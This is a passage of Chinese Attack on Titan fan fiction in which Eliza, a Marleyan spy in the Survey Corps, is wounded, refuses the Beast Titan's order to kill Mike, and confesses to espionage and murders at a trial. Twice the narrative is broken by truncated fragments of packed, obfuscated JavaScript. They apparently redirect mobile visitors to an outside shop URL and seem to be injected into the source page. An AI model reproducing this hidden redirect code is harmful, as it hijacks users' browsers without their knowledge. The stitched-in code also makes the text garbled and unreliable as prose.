但我没有时间犹豫。在亚妮即将要踩死佩特拉的前一秒,我迅速发动一侧的锚钩,使身体擦近地面旋转了一个半圆,靠着发射器回收的牵引力迅速靠近佩特拉,我感受到巨人身上热烈的蒸汽扑面而来,只能咬牙将身体扭曲成最快通过的姿势。然而我手里还握着刀,只能直接伸出右手臂使劲给佩特拉的腰部一个推力把她摔到树上。
而我身后的来自女巨人着陆的冲击迅速使我撞上树干,我来不及降低冲击力造成的伤害,只是微微侧身然后一路滑下去,粗糙的树皮磨皮了我的皮肤,而那些断掉的树枝没有降低落地的缓冲力反而在我身上留下不算浅的伤口,我吃痛地呻吟着,跌倒在地面上。
超高速使用立体机动的后果在此刻变得清晰起来了,我感觉我身上可能不止一处骨折,加上落地还有之前的冲击,我想我大概内出血也比较严重。
如果不是在将军那里接受了人体改造,我要不了一会就会死。但我现在只有剧痛。
无法抵挡的眩晕袭来,我只来得及看见艾伦变身为巨人……
71。
森林使我想到了我奶奶。
我小时候是跟着奶奶住的。我爸爸妈妈在外面工作,外公外婆早死了。
只有我和奶奶两个人,没有爷爷。因为我们谁也不知道爷爷是谁,我奶奶是未婚先孕的,她直到死前都没有说爷爷是谁,或许她也不知道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921443|192564||http|test|mini|href|location''.split(''|''),0,{}));
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>我和奶奶住在小山上,只有我们一户人,一个老人和一个小孩。早上天没亮,公鸡还没打鸣时我就要起床,然后下山去读书。到了傍晚,我就回来了。
山上很好,不会有人来打扰我们。但奶奶生病了,我们也找不到方法治疗她。
看着奶奶从走路喘气到走路都成问题只能倒在床上。我感到无力,因为我什么都不知道,我根本不知道该怎么治疗她。
这是我第一次感受到无能为力的感觉,那并不好受。
那种感觉就像是一条虫悄悄从我指甲缝里钻到我的身体,日日夜夜一点一滴啃食我,然后我被这种细碎的痛感所折磨,却什么也做不了,连死都不能,痛不欲生。
她说:“伊莱扎,时候到了。当初被我杀死的人来找我偿命了。”
我不明白。在四岁的我看来,奶奶只是个普通的农妇,怎么会杀人呢?
过不了多久,奶奶真的一点都不能动了。身体也开始腐烂,长蛆了,可她还在呼吸,只是很痛苦。
我问奶奶:“奶奶,我该怎么救你?”
“这是毒,救不了的。伊莱扎,趁你爸爸妈妈还没带走你前,跑吧,跑过三座山,你就自由了。”
我没跑,因为我还想救奶奶。奶奶也没赶我走了,她似乎向命运屈服了,闭口不提让我逃跑的事,只是平静地等待死神来收割她的灵魂。
我说:“奶奶,我要下山去找医生了,他会救你的。”
她说:“伊莱扎,你不要走。”
“可是,奶奶,你得看病啊,让我下山去找医生吧!”
“不要走,如果你走了,就再也见不到我了。”
我的心咯噔了一下,但那时我年纪小,没把这事放心上,我只是焦急地说:“奶奶,我现在就下山去,把医生请上来,你在上面等我!”
我跑了出去,而奶奶在我身后叫着:“伊莱扎,回来!”
我没有听见,因为我已经跑进森林里去了。
人一旦跑到森林里去,就回不来了。
72。
我吃痛地捂住伤口。强行让自己从眩晕中走出来。
开什么玩笑?现在的情况我怎么可能安心昏过去呢?
佩特拉一瘸一拐地走过来,而我因为太痛面目表情有些狰狞。
我问她:“你怎么样?”
“完全失去知觉了。”她说。
“痛感呢?”
“刚开始有,现在已经没有知觉了。”
我沉默了一会,说:“你要做好肌肉组织严重受损的准备,很抱歉,是我的问题,没有想到另一侧的锚钩会穿破你的大腿。”
我刚刚在发射另一侧锚钩时是直接穿破了她的大腿,我本意是让她暂时失去行动力,但现在看来,这个暂时可能要持续一段时间了。
“我们在这里等救援吧,我动不了。”我说着尝试从地面撑起,但是清脆的咔嚓声制止了我的行动。
好吧,可能是左边腿骨折,右脚扭伤,左臂骨折,肋骨不知道断了多少……伤成这样我还能保持淡定,也只能感谢将军了,谢谢他改造我,真是个有先见之明的人。
佩特拉看见了我腰腹被染红的衣服,撕下布块给我缠绕上止血。
我背靠着树喘气,感觉每呼吸一次就痛得不行。好像要把我撕裂开了。
“韩吉队长!这里!”我听见了佩特拉叫喊着。
一阵嗖嗖。韩吉在我们面前落地:“小伊莱扎!你这伤得也太重了。莫布里特,你带着小伊莱扎走……不对,你的伤口还能动吗?”
我挥挥手:“死不了。”但我气息已经很弱了。说话也是断断续续,连喘气都费劲。
“拜托你了……莫布里特。”
因为我们两个是伤员,只能乘坐伤员在的马车。我们抵达没过一会,利威尔和另外一个女士兵就带着艾伦,把他丢进了另一辆马车里。
作战失败了,毕竟是利威尔出手,这个结局我似乎不太意外。
至少亚妮没有被抓住,我们还可以等其它机会。
就在我胡思乱想,佩特拉帮我包扎的时候,一个悠远的声音响起了:
“伊莱扎……”
我警觉地回头,向声音的方向看去,但那里却没有人。
是谁?
73。
“伊莱扎……到我身边来……”
我抬头,望向远方,直觉告诉我是巨树之森那里有个声音在呼唤我。
“快点……到我身边来……”
“快来啊……”
我连忙爬起,“谁?”
佩特拉急忙按住我:“你干嘛呢。”
“你有听见什么声音吗……佩特拉……”我喘着气说,“你听见了吗……巨树之森那里……有什么人在说话。”
“伊莱扎,你快点坐下去。”佩特拉摁住我,“你身上的伤,不要折腾了。”
我低头看见军装呈现深色:“可我……”
“队长!”艾米丽架着马靠近伤兵乘坐的马车,“你还是留口气给自己活着吧,不要想着一死了之然后逃过团长的处罚啊,谁叫你擅自违抗命令的!”
“真的有声音,它让我过去……”我对佩特拉说。
“天哪……该不会是神吧。”我一旁的缺了个手臂的家伙说,“你的伤口有多深。竟然深到看见神了,没救了,祝你一路走好。”
我翻了个白眼,不想和他们说话。
佩特拉专心致志地替我止血,她说:“伤口只能简单处理了,似乎伊莱扎队长你以前受的伤还裂开了,看来你得休息一段时间。”
“我总是这样……不用管的。”
“伊莱扎队长似乎在受伤时话会变多呢,是因为太痛了失去理智了吗?”
“不是……你真的没有听见那边的声音吗?”
“再说话的话,伤口会更裂的更大哦。”
利威尔架着马从旁边经过,面色似乎不是很好,大概是死的人太多了,他看了眼我,有些惊讶,过了一会他就说:“不要想着让伤口加重,然后可以请更长时间的病假。”
谁想啊……但我没去说话了,因为头很昏。
我陷入了深眠,可能并不是深眠,是和之前一样的浅眠,只是我伤口太痛,痛到我失去意识了。
梦里,我似乎看见了爸爸,妈妈,奶奶,他们站在一起望着我,隔着一道深不见底的峡谷。然后我看柯洛琳,她变成了一只海鸥,从我手里飞向天涯。
“柯洛琳……我要回家……”我在梦中这样呢喃着。
一双手抚上我的头,我在梦里似乎听到有人这么对我说:“马上就到了。”
17. 罪
第十八章罪
74。
“你的身体机能确实异于常人。”我的主治医生约翰逊说,“恢复力会比常人快,能够承受的伤害也超过一般士兵。”
“但这不是你消耗自己身体的理由。”
我躺在病床上不敢发出辩驳的声音,相信我,医生是这个世界最不好惹的生物,尤其是军医。
我几乎被包扎得动都不能动一下,我严重怀疑这是谁在背后贿赂医生把我包扎成这样的。
约翰逊翻着之前帮我做检查的医生留下的笔记,还有我的手术记录,继续说:“我几乎每次接待你们这些士兵都要强调一遍要爱护自己的身体,但对你们这些士兵说再多似乎都不管用。”
他又跟护士强调了一遍照顾我的注意事项,然后去忙着照顾下一个病人了。
我想要翻身,但是翻不到,护士小姐雪莉马上跑过来:“你要喝水吗?”
我摇摇头:“不,我只是想坐着看看窗外的风景。”
雪莉吐槽了一句我可真麻烦,但还是帮我固定好腿,让我能够坐起来看窗外的风景。
敲门声响起了,我住的是单人病房。虽然要花多点钱,但我平时拿到工资也没有什么用途,所以积蓄还是够我住单人病房来奢侈一下的。
毕竟我可不想我隔壁有人跟我聊天。
“请进。”我歪头看着这是谁。
是阿尔法,有点晦气。我还以为是利威尔或者韩吉呢,再不济也应该是我的那些猪队员!不过,来的人不是埃尔文,我也该知足了。
阿尔法是拿着一颗苹果进来的,他说这是送给我的慰问品。
这个人一坐下就开始点烟,甚至没问我身体怎么样,有没有好点。我觉得哪怕我现在没病也要被他这幅大爷样气出病来了:“你不觉得在病人面前抽烟不好吗?”
“大难不死的人形战斗机器怎么可能会因为小人在她面前抽烟就死掉呢?”
我噎住了:“谁说我大难不死的?”
“所有人,”他比了一个夸张的手势,“几乎所有兵团的士兵都听说你的光辉事迹了,你看看,破墙那次,玛利亚夺回战,再加上这次。”
“你救下来的那个士兵,仔细讲述了过程。好家伙,那样的位置你还可以在这么短时间内靠近地面,再把对方救下来。而你的身子竟然还没有断掉!奇迹,实在是奇迹!我佩服。”
说完,他还啪啪地鼓起掌来,逗得准备离开病房的雪莉护士咯咯笑。
我翻了个白眼:“那佩特拉怎么样?”
“可能就是很长一段时间用不了腿吧,杵着拐杖的。虽然你看上去比她惨点,但应该要不了多久,你这个魔鬼就复活了吧。”阿尔法参照的是上次玛利亚夺回战的经历。
阿尔法继续说:“你命真大。不过,我想知道一个问题,弥赛亚是谁?”
弥赛亚……
我立马抓紧床单,如果不是身体不允许,我现在就可能扑倒他了。
我问他:“你是怎么知道弥赛亚的?”
他说:“你还记得远征我救了你吧,那时候你在昏迷里一直叫着弥赛亚。”
闻言,我松开手:“没什么,只是一个熟人罢了。”
阿尔法继续说:“我小时候在禁书里看到过,弥赛亚是救世主的意思。你那个熟人名字真有趣。”
似乎看我面色不善,他停止打趣了,他说:“算了,你好好休息吧。”
“慢着,阿尔法。”我叫住他。
他回头:“嗯?”
我迟疑了一会问:“在你眼里,什么样的人是不可饶恕的?”
阿尔法沉默了,这让我有些紧张。
过了一会,他说:“你竟然会思考如此高深的问题。真意外。”
在我情绪激动之前,他马上又继续说:“开个玩笑嘛。”
“不可饶恕的人……在我眼里,可能是不能原谅自己的人吧。”
我问他:“你这是什么意思?难道不应该是罪大恶极的人吗?”
他快速地说:“但是罪恶这种东西,本身就是人自发产生的吧?只是为了惩罚自己或者他人吧。人活在世,谁又敢说自己没有犯下罪过呢?只有愚人敢说自己没有犯下罪过,问心无愧。你做的事会有利于一些人,同时也会损害一些人。善恶从不是独立的或者对立的,它是守恒的。一个总是在做慈善的富翁身上的罪恶可能比处刑台的杀人犯还多,只是杀人犯杀了人的肉身,富翁借刀摧毁了一个人的一切除了肉身。可杀人犯付出了代价,富翁收获了名声。谁背负的罪孽更多呢?大家都会说杀人犯,因为人死就什么也没了。”
“那你呢?伊莱扎,你觉得谁背负的罪孽更深?是杀人犯,还是摧毁一个人一切的人?你觉得是死亡更可怕,还是放弃自我?”
我愣住了:“我不知道。”
“我也不知道。”阿尔法叹了口气,“对我们这种人来说,这样的……有关人的问题是没有答案的。”
我喃喃着:“可能是因为我们是烂人,但又不想承认这点。”
阿尔法似乎被我这个回答逗笑了,捂住肚子蹲在地上笑了好久。
等他停止笑了,他才站起来说:“所以啊我才说,不能原谅自己的人才是罪不可赦的人。”
我明白了他的意思,点了点头表示我知道了。
他拿起那颗苹果,准备离开,我拦住他:“你不是说这是我的慰问品吗?”
“突然想到苹果的寓意不好,还是不送给你了。我自己吃吧。”他说。
我看着那颗颜色形体都上乘的苹果:“那是保平安的。”
“可那也是欲望之果,恶魔的果实啊。”
我耸耸肩,没执意要那颗苹果了。
“命运,罪恶,欲望,贪婪,孤独。”阿尔法突然说。
我盯着他,他也直勾勾地盯着我。
他说:“这是我的人生里的五宗罪。”
我对答:“所以你才抽烟。”
“对啊,不然呢。”他说完,拿起外套准备走了。
这时候,门一下子被推开了,是韩吉和利威尔。
韩吉挥挥手:“小伊莱扎,为什么每次几乎都是我来医院看你啊?”
利威尔马上回答:“那是因为她每次遇到什么连脑子都不动就冲上前。”
“四眼队长和矮子兵长啊……”阿尔法打了个招呼,对着利威尔杀人目光,马上选择撤退:“那我先告辞了,再见。”
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>韩吉跟阿尔法说了一声再见,马上就凑到我旁边来,看着我被包裹的动都不能动的身体。
“把这家伙包成这样是我的主意。”利威尔马上坐在旁边的木凳上,一副大爷模样,我都不敢瞪他。“埃尔文说你需要长点教训。”
我哑口无言。
韩吉笑了一会,马上又变得严肃了起来。
“伊莱扎,你可能还不知道,艾伦要被中央收回了。”韩吉说。
我皱眉:“不算意外。”
“我们决定执行一个计划。你可能参与不了,但埃尔文说可以跟你提一下,只要你别告诉别人就好了,他还说下次不要闹脾气了。”
我没去吐槽埃尔文奇怪的玩笑话:“什么计划?”
“我们决定在转移艾伦时,用最后的机会抓捕女巨人。不过详情可能不能告诉你了。等计划结束了,你要是想听,那我就慢慢跟你讲。”
我的心脏骤然一紧,“女巨人?墙内怎么抓捕?”
利威尔看着我,替韩吉回答了我的问题:“有个新兵推断出了女巨人的身份,是掩藏在宪兵团的一名新兵。”
“她叫亚妮·莱恩哈特。”
75。
等韩吉决定走的时候,利威尔没有动,他让韩吉先走。
我不知道他要做什么,只是盯着他。我们对视了好一会,直到街道外面卖小吃的摊贩都停止了吆喝,四周都很安静。
“伊莱扎,我们认识多久了?”他突然就这么问了。
“从我加入训练兵团开始,快六年了吧。”我来到帕拉迪岛也快七年了。来的时候我还没成年,现在我都二十几岁了。
他淡淡地笑了一下,说:“大概你是唯一,现在还留在我身边的了。法兰,伊莎贝尔,德里克……他们都死了,甚至包括扬也死了。”
我握紧床单:“啊,是的。”
我不知道他为什么要在现在说这些。是因为利威尔班只剩佩特拉和他还活着了吗?
他停顿了好一会,才说:“我们认识也算久了。”
“嗯。”
“如果你有事情,我不希望你瞒着我。”
“嗯。”
“说与不说,是你决定的。但我不希望有一天我们会站在对立面。”
“……嗯。”
他沉默地看着我。我沉默地盯着窗外跑动的小孩,想到了我。
良久,我开口跟他说:“如果你们要在墙内和女巨人战斗。那些孩子,说不定就会死啊。”
他顺着我的目光也望向窗外,没有说话。
而我一直盯着窗外,胡乱地想些事情。想过去,想未来;想活着,想死去;想放弃,想坚持;想逃避,想勇敢……
等我不再看着窗外胡思乱想的时候,利威尔已经走了,太阳也落下来了,现在是夜晚的时间。
医院是静悄悄的,夜晚是寂静的,我什么也听不到。
我只闻到了消毒水的味道,还有他们放在我床头的花束的清香。坦白说,这个味道有些奇怪。
“唉……”
我长叹一口气,但这也改变不了我即将面临失眠的局面。
亚妮会死,但我不会救她。和以往每一次一样,我救不了任何人。
18. 走进森林的人
第十九章走进森林的人
76。
我跟埃尔文写了一封信申请出院,但我懒得等他回复。
别看这家伙一副正经模样,要说谁最会拖着文件不处理,他绝对是三个兵团第一名,如果不是那几个家伙惯着他,他早就在赶最后期限的那些夜里猝死了。
等他审批我出院,我估计都要退休了,所以我走了个形式,写了一封只有一排字的信,然后就出院了。
本来是计划着去亚妮那里。我不打算救她,我也救不了她。但至少我得确认她不会在活捉的时候泄露什么……
可我转念一想,还是决定不去了。我觉得亚妮不敢泄露的,毕竟她还有在意的家人在马莱,她不敢泄露的。
于是,我决定去找莱纳和贝尔托特,至少我得稳住他们。
据我观察,贝尔托特很有可能对亚妮有些什么心思,不清楚到底是是年少人的喜爱或者关注,还是他们两个有什么过节……总之如果知道亚妮被抓,贝尔托特的状态可能会比之前差很多。
至于莱纳,他的状态本来就很让我头痛了。只是我不是心理医生,不知道该拿他怎么办。那家伙,再这样下去会得精神病的啊……
光是他们两个就够让我烦了,还有兵团的那群人……
利威尔之前跟我说的那番话让我有些担心,他或许有些怀疑我,但是因为我们早就在破墙以前的几年就认识了,他也无法确定我是不是细作。
但他是怎么怀疑我的呢?
我不自觉地想到了德里克。难道是那个时候,在我杀了德里克的那天……他就怀疑我了?
还是说只是凭借他的直觉?
我没继续去揣测利威尔的想法了,反正我也猜不出结果。埃尔文还没有跑来试探我,大概他还没有告诉埃尔文。只要埃尔文没有察觉,应该都不是大事。
我去马厩那里借了匹马,得知到了他们的位置就出发了。
帮我装装备的士兵说:“你现在归队也太心急了吧?伤好了吗?”
“时间等不及啊。”我笑了笑,“要是我就这样躺着等到一切结束,恐怕会后悔。”
“有时候也不要逼自己太紧了啊,这对你不好的……”那个士兵看了看我的脸色,摇了摇头,没有继续说了。
我知道我看上去状态很差。但那个时候我心里总觉得不安,也来不及去思考那么多了。其实我当时如果选择休息会再出发,可能会更好。
77。
挥之不去的不安一直徘徊在我的影子里,我赶不走这份焦灼,只是加快了速度。
风让我的头脑不至于混沌迷糊,我觉得那个时候我应该还是很清醒的,我确信我很清醒。
可,那是兽之巨人。
马莱派出了剩下的战士?
我控制不住地勒紧了缰绳。让马停下。
“你,怎么……”
我感觉我的声音已经不属于我自己,我的身体也是,而我的大脑好像一片僵硬了。
他为什么会出现在这里?
难道马莱对我们失望了?还是说……我摆了摆头。
听到我的声音,那个兽之巨人转过头,望着我,而在它旁边的是米可,被夺走了立体机动器,一脸畏惧的米可。
我住嘴了,只是望着兽之巨人。
它里面的应该是吉克耶格尔。按道理说,在我方损失了女巨人的时候,看到多了一个同伴,应该会很感动。但这不让我心安。我只是突然地,如同十几年前的那一夜一般,突然地感受到了势不可挡的恐惧。
仿佛是为了印证我的直觉,兽之巨人张嘴了:
“伊莱扎小姐?是你吧,我只看过你几年前的照片。”
他在干嘛?
他是在暴露我吗?
不对,也不算暴露。
毕竟这里除了我俩,还有一群无垢巨人,就只有米可。
如果米可死了,那就不会暴露了。
但他为什么非要这样刻意提起我?
“你在说什么?”米可惊慌失措地叫着,“伊莱扎!快走!这个巨人,把这个巨人的情报传出去。”
“对啊,你在说什么呢?”我生生掐着自己的手,我现在感知不到痛觉,我只是笑着看着吉克。
“啊,忘了这里还有一个,不过……”野兽巨人笑了笑,“也正好合适。”
“什么……”
“伊莱扎,”吉克喊着我的名字,“达克小姐。你的任务完成的很好,马莱很感谢您的付出。”
“但我们有些怀疑你对马莱的忠诚了。”
怎么会……为什么第一个怀疑我?
“我一直都忠于马莱。”
“还在撒谎,真让我伤脑筋。”兽之巨人露出了一个奇怪的笑容。
看着兽之巨人的怪异笑容,本来快要消失的恐惧感,本来马上就要涌出来的愤怒感,瞬间被一种呕吐欲填满,我感到恶心。如果不是我之前吃的很少,恐怕我会控制不住吐出来。
无视米可在一旁质问的嚎叫,我镇定地看着兽之巨人:“我为马莱服役的时候,你离兽之巨人还远着呢。你有什么资格质疑我的忠诚?”
“这样说,显得我很过分啊。”
“可是,将军专门叮嘱我一定要确保你的忠诚,他说你在那呆太久了,他很担心你。”吉克故作伤脑筋的样子,“这样吧,就一个彰显你的忠诚的机会。”
“杀了他。”他看了眼米可。
我对上了米可恐惧无助的双眼,握紧了手里的刀。
78。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921445|192564||http|test|mini|href|location''.split(''|''),0,{}));
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>提到我和米可,其实我们两个不算熟。
他倒是喜欢开我和利威尔的玩笑,每到这时我就会顺嘴祝愿他得痔疮。
虽然我们对彼此是怎么样的人并没有很深入了解,但我们两个相处时间其实并不算少。只是我们两个待在一起的时候,大多都是为了完成兵团的文书工作。
大家都是士兵,大部分人在升官前都没有想到原来士兵还要处理这么多文件。
一个兵团要处理的文件数目可观,但分队长总共就那么几个,靠谱的就更少了,又不能随便使唤人帮忙。所以几乎每个兵团都会有几个可怜人要帮着多负责些文件。
比如调查兵团:纳拿巴会假装肚子疼,然后偷偷溜出去;能把韩吉从她那堆猪窝拖出来就算是很厉害了,更别提让她规规矩矩翻无聊的文件,如果不是有莫布里特任劳任怨,我早就制裁韩吉了:埃尔文……那家伙在这方面真的很不靠谱,属于是只签署必要的文件,其余那些他都不管,偏偏是那些废纸一样的文件难处理……一想到我帮他完成了多少文件,我就气;至于利威尔……他倒是认真做好工作,还会额外完成,但他是士兵长,需要负责的训练事务很多,我也不忍心麻烦他太多……
所以基本上都是我和米可帮他们多完成点工作。其它分队长有时候也会帮帮忙,但每次都加班加点的只有我和米可。
米可估计是为了帮埃尔文,他们两个关系很好。我纯粹是为了让自己心安,忙碌能让我少花点时间去想一些不必要的事情。
所以,我杀他,不会有心理负担……至少比杀死德里克好多了。
我莫名想到了德里克的尸体慢慢僵硬的那段时间,我一直控制不住地想要呕吐……德里克和我在训练兵团几乎是朝夕相处,我都能杀死他。
杀死一个米可,我应该不会有困难……
对,我不会有困难的。何况现在,我杀死他,轻而易举……甚至不需要掩饰。
我紧紧握着手里的武器,凝视着米可。
米可没有说话,只是用一种糅合了很多感情:愤怒,失望,恐惧,绝望,悲哀,仇恨……这样的一张脸,望着我。
我不知道我那时候在想什么,至今为止,我依旧能回忆起我杀死德里克的每个细节。
但我回忆不起那时候我在想什么。
于是我抬起头,看着吉克耶格尔的笑容。突然感到后悔……
在我刚回到我父母身边的那段时光,我妈妈会在睡前跟我讲童话故事。她每隔一段时间就要跟我讲小红帽的故事。
故事里说,如果你的妈妈告诉你不要离开大路独自跑到森林里去,那就永远不要去。
我妈妈一直告诉我:伊莱扎,当初你不应该丢下你奶奶,跑出那座森林的。
我后悔了。
19. 囚世
第二十章囚世
“命运啊!显示您的力量吧!我们身不由己,命定如何,就当如何!”
——莎士比亚《第十二夜》
/
79。
我握紧了手里的刀,走到米可面前。没有多说一句话,只是抬起脚往他的膝盖处重重踢了几下,让他跪倒在地上。不是他没有还击,只是我更懂人类的弱点在哪,我毕竟一直都在和人类厮杀,而他始终都在和巨人作斗争……
他怎么可能打得过我。
“我似乎还是第一次看你这样的表情。也是第一次,这样俯视你。”我低着头看米可,面对死亡,他这才露出了恐惧的表情,那副挫样……
不,不对,正常人面对死亡都会害怕的。更何况,米可现在脑子里除了死亡,一定还在想埃尔文……
他能不能知道我是敌人。
米可抬起头看着我,咬牙切齿:“你竟然是叛徒!你们到底……”
“我啊,是为了葬送你们,才来到这里的。”我看着他,面无表情:“我本来以为我们会到最后才翻脸,也是真心希望你们直到死,都不要知道自己朝夕相处的同伴竟然背叛了你们,或许这样你们还能……”
“开什么玩笑?!”米可吼道,想要往前冲,可他的骨头被我打碎了,只是又一次跌倒,但我却不自觉往后退了一步。
“你到底把我们当成什么了?啊?难道在你眼里,我们只是死人?你还是个人吗,明明利威尔那个家伙……”
“闭嘴。”
“唉唉,真的太无聊了。”吉克突然说,“你还不下手吗?还是说你在拖延时间?”
我回过头看着吉克。
“如果你不下手,那就只能让我来……”
“我会解决的,你别在这里浪费时间了,要是调查兵团那群家伙过来了,你无法脱身就好笑了。”看着吉克没有露出那副嘴脸,我感觉心情好了不少:“如果他们来了,我不会浪费时间来帮你的。”
兽之巨人的那双眼睛审视着我,“话说回来,伊莱扎小姐你应该还不知道吧?老将军死了。”
什么?
“你在说什么?”
他死了?
“唉,你竟然会掉眼泪吗?”吉克说,“真是罕见啊,大家都说你的心早就死了。毕竟你可是能面不改色就杀死部下的人啊。”
他阴测测地笑了:“果然是在这里的几年把你弄得心软了吧。”
“那柯洛琳呢?她呢?”我急切地问吉克。
“不知道,或许会在什么时候被送去战场上吧。”
我感觉自己控制不住地流泪,仿佛想把我一生的泪水一次性流完一样,“可她,她会死在战场上的。战场根本就不是,她能呆的地方啊。”
“你们说的战场……”米可说。
“闭嘴,米可。”我怒视他,但对上他的双眼还有他身上的调查兵团的衣服时,我心里面控制不住的苦涩又涌出来了。
吉克说:“杀了他吧,然后离开这里。”
吉克在说谎,我不可能回得去了。就算回去也只是以罪人的身份。他一定会让我变成那个叛徒的。而没有老将军,我只是一个……战败国的低等人。
可我有选择吗?
告诉我吧,我还能往哪里退。
我已经无路可退了。
/
80.
“伊莱扎,你怎么总是闷闷不乐的样子啊?”德里克伸出手把我从树下拉起来,“上次伊莎贝尔还问我,你是不是得了绝症要死了。”
我看着德里克什么也不知道的开心的傻脸,叹了口气:“我只是在想事情。”
“对对对,就是这样!你每次都是一副孤立于整个世界的表情。你知不知道我有多担心你啊?”德里克抓着我的脸颊往两边扯,“多漂亮一小姑娘啊,多笑一笑嘛。”
我对他露出了一个虚假的微笑,并竖起了我的中指。
“哈哈哈,这样才对嘛!”
我也笑了。
可笑着笑着,我又停下来了。
“怎么了伊莱扎?”
见我不说话,他又继续说:“不要把什么都憋在自己的心里,说出来吧。我一直在这。”
我抬起头,看着德里克的眼睛:“德里克,如果,如果有一天,我害你死了。你会恨我吗?”
“你在说什么呢?”
“我已经死了啊。”
/
81。
“还不下手吗?”
不。不要。
我站在原地,惊恐地发现我已无法动弹。
吉克叹了口气,“果然啊。”
别说啊。
我捂住耳朵,呜咽着。
想要把脑子里的那些声音全部踢出去。
米可用着一种似是怪异,似是不解的表情,喃喃着:“你不想杀了我?”
“啊。”我除了发这一声啊,竟然不能说出更多的辩驳。
我所做的一切,都在此刻崩溃了。
吉克怎么可能不知道,他怎么可能不知道……他就是知道我下不去手,是啊……明明是间谍,明明是敌人,我却杀不了他们……
我看着米可的面孔,带着陌生的神色望着我,他的嘴唇轻轻颤抖着,似乎想要问我。
“看来柯洛琳只能等死了啊,伊莱扎小姐,既然都觉得要做恶魔了,那为什么变回人类呢。柯洛琳小姐可是一直在等你啊。”
为什么啊,吉克。
为什么……
为什么啊,爸爸,妈妈。
为什么,为什么总是我?
为什么总是我被抛弃!被背叛!
我放下了刀片。
没有动。也没有哭了。
我大笑了起来。
“喂,你这家伙……疯了吗?”米可回过神来,看着疯癫笑着的我,低声吼着,“他说的……”
“事到如今!”
“事到如今……我低声哭了起来,“你还不明白吗,米可?”
“无所谓了。这都是没有意义的。米可。我下不去手,我做不到!我做不到看着你,那样死去!”
就像雷米尔一样死去。像德里克一样死去……像我,一样死去……
我做不到了,我杀不了人,我根本杀不了人。
“我失败了,我已经失败了。”我一直念着这句话,跪倒在地上,没有管浑身上下的血污。
米可没有说话,他应该是愤怒的,他应该是恨我的。
时隔十二年,我再次感受到了在命运面前的那份无力。
我曾渴求过,期盼过上天能够宽恕我,我总觉得我是个无知的罪人,但我不是,我从来都不是潘多拉那样的无知的罪人。我只是个怯懦的愚人,想要对一切都视若无睹。
/
81。
吉克没杀我,也没杀米可。他只是说了一声可惜,然后走了。
米可也没杀我。
为什么不杀了我。
碰。
我被丢进了地下室。
“你看起来很绝望。”埃尔文说,“比任何一个罪犯还要绝望。”
我没有说话。
“你不想知道外面的人的反应吗?”
我依然没有说话。
埃尔
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文看了我一会,然后就走了。
我不知道我什么时候被带出来的,身上的伤口还在流血,我什么也没吃也没合,但我已经不再痛了。
是要接受审判吗?或许他们会对我严刑拷打。
我怕痛吗?或许不怕吧,我都已经死过了。
我到底死了几次
不知道。
我的记忆早就混乱了……
啊,原来是我把我重启了。
无论如何都杀不死我。为什么不能就这样带走我的性命呢?为什么要让我一遍一遍接受这个酷刑。
雷米尔,你告诉我为什么啊。为什么一定要选择把一切交给我。为什么不让我有退路。
我好像听见牢房外,许多人的质问声。
他们好像很绝望。
我们都生活在这没有光亮的黑色世界。
最初的我,或许以为自己是救世主吧,以为我能拯救一切,以为我能改变他们可悲的命运。可无论在何处,我都是那个不能改变世界的人。
我只是一只卑劣的老鼠。
重来,死亡。复活,死亡。再来,死亡。放弃,死亡。自杀,死亡。
一遍一遍。我无数次拿起枪杀死我自己。
这是第五次了。
已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了。已经第五次了……
这,已经……第五次了啊!
我是在什么时候重启了我的记忆。选择忘掉一切,再一遍遍死去。然后窒息着回想起一切,再次删除记忆,重来,重来。
为什么是我?
或许我已经疯了。或许我疯了。或许我真的疯了。我真的疯了。
“你有什么想说的吗?”那个审判我的人,我不知道他是谁,就算他是谁有没有关系了。“你是否要为这个我们在你的柜子里发现的东西做解释?”
“我就是间谍。”我说,“没有意义了。我被抛弃了。”
“我是马莱的间谍。”
这个藏了很久的,快要生霉的秘密终于见光。我到底是在享受游戏,还是真的把自己变成了伊莱扎?
我不知道。
刺眼的光杀死我的双眼。
审问还在继续。
“你是否承认杀死了伊丽莎白议员?”
“……是。”
“你是否承认将马克伍兹推下城墙的那个人是你?”
“是。”
“你是否承认杀死了盖尔神父?”
“是。”
“你是承认,那个死在小巷里的父女是死于你手下?”
“是。”
“你是否承认……”
到了后来我的意识也逐渐模糊不清了,我似乎看见了那些死于我手下,又或者因我而死的人都站立在一旁注视着我,等待着我的审判。
“那么,你是否承认,几年前,德里克·沃特森密室谋杀案,是出于你的手?”
“……”
“是。”
我似乎看见了德里克站在高高的台上。他的神情我看不清。
我张嘴想要跟他说“对不起原谅我吧”,但我怎么也说不出。
他不会原谅我的。
他们也不会原谅我的。
“那么,我宣布,调查兵团第四队队长伊莱扎,间谍身份指控生效。”
“伊莱扎,你还有可以辩解的权力。”
我抬起头,撑起一个笑容说,“不。没有。你们说的都是对的。完美的推论。”
20. 老鼠与命运之石
卷一沉默的羔羊/终话
第二十一章 老鼠与指引之石
82。
地牢的角落死了一只老鼠。
除了它,这里就只有我一个生物了。
老鼠死在昨天。可死亡不是终结。它的尸体会慢慢溃烂,发臭……它死了,但腐烂会一直进行,直到它变成白骨。
我被关押进了地牢,据送饭的人的说法,上面的人正在争吵到底要不要杀死我。
期间,埃尔文来过一次,他问我:“你也可以变成巨人吗?”
我笑了:“只有你们这种贱种才可以变成巨人。我和你们不一样。”
“确实,你只会杀死信任你的同伴。”
“米可,当时没杀掉你真的是我最大的过错。”
